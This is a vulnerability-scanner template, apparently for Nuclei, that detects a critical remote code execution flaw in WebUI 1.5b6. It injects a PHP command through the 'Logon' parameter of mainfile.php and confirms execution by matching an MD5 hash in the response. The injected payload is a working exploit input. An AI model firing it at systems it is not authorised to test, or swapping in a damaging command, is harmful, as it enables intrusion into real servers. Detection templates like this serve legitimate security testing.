id: webui-rce info: name: WebUI 1.5b6 - Remote Code Execution author: pikpikcu severity: critical description: WebUI 1.5b6 is vulnerable to remote code execution because the 'mainfile.php' endpoint allows remote attackersto execute arbitrary code via the 'Logon' parameter. reference: - https://www.exploit-db.com/exploits/36821 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-77 metadata: max-request: 1 tags: webui,rce,edb http: - method: GET path: - '{{BaseURL}}/mainfile.php?username=test&password=testpoc&_login=1&Logon=%27%3Becho%20md5(TestPoc)%3B%27' matchers-condition: and matchers: - type: word words: - "c5b3d7397a90f42d222f7ed9408c0dc6" part: body - type: status status: - 200 # digest: 4b0a00483046022100b14b49f95f50a9f32431c4491034a1b6d26c07aeab06537327c5e8451167d49f022100dd9a4785307420a24fb449ed847f552f61cb46a75a7f1560be1bea277fbbcbda:922c64590222798bb761d5b6d8e72950